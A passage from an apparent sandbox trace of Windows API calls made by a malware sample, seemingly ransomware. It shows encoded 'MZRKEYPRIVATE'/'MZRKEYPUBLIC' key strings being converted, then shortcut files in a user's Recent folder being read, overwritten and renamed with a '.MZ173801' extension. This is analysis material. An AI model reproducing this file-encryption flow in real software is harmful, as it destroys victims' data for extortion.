lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.456] GetCurrentThreadId () returned 0xab4 [0147.456] GetCurrentThreadId () returned 0xab4 [0147.456] GetCurrentThreadId () returned 0xab4 [0147.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.457] GetCurrentThreadId () returned 0xab4 [0147.457] GetCurrentThreadId () returned 0xab4 [0147.457] GetCurrentThreadId () returned 0xab4 [0147.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BRtkw7h20gut.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\brtkw7h20gut.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.457] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.457] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.457] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3c4 [0147.458] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.458] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3c4, lpOverlapped=0x0) returned 1 [0147.458] CloseHandle (hObject=0x280) returned 1 [0147.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BRtkw7h20gut.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\brtkw7h20gut.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.459] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3c4, lpOverlapped=0x0) returned 1 [0147.460] CloseHandle (hObject=0x280) returned 1 [0147.461] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BRtkw7h20gut.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\brtkw7h20gut.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BRtkw7h20gut.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\brtkw7h20gut.lnk.mz173801")) returned 1 [0147.462] GetCurrentThreadId () returned 0xab4 [0147.462] GetCurrentThreadId () returned 0xab4 [0147.462] GetCurrentThreadId () returned 0xab4 [0147.462] GetCurrentThreadId () returned 0xab4 [0147.462] GetCurrentThreadId () returned 0xab4 [0147.462] GetCurrentThreadId () returned 0xab4 [0147.462] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e33f26, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x71e33f26, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x71e33f26, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bVOcRN8FT.lnk", cAlternateFileName="BVOCRN~1.LNK")) returned 1 [0147.462] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.462] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bVOcRN8FT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bvocrn8ft.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e33f26, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x71e33f26, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x71e33f26, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d6)) returned 1 [0147.462] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bVOcRN8FT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bvocrn8ft.lnk")) returned 0x20 [0147.462] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bVOcRN8FT.lnk", dwFileAttributes=0x80) returned 1 [0147.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.465] GetCurrentThreadId () returned 0xab4 [0147.465] GetCurrentThreadId () returned 0xab4 [0147.465] GetCurrentThreadId () returned 0xab4 [0147.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 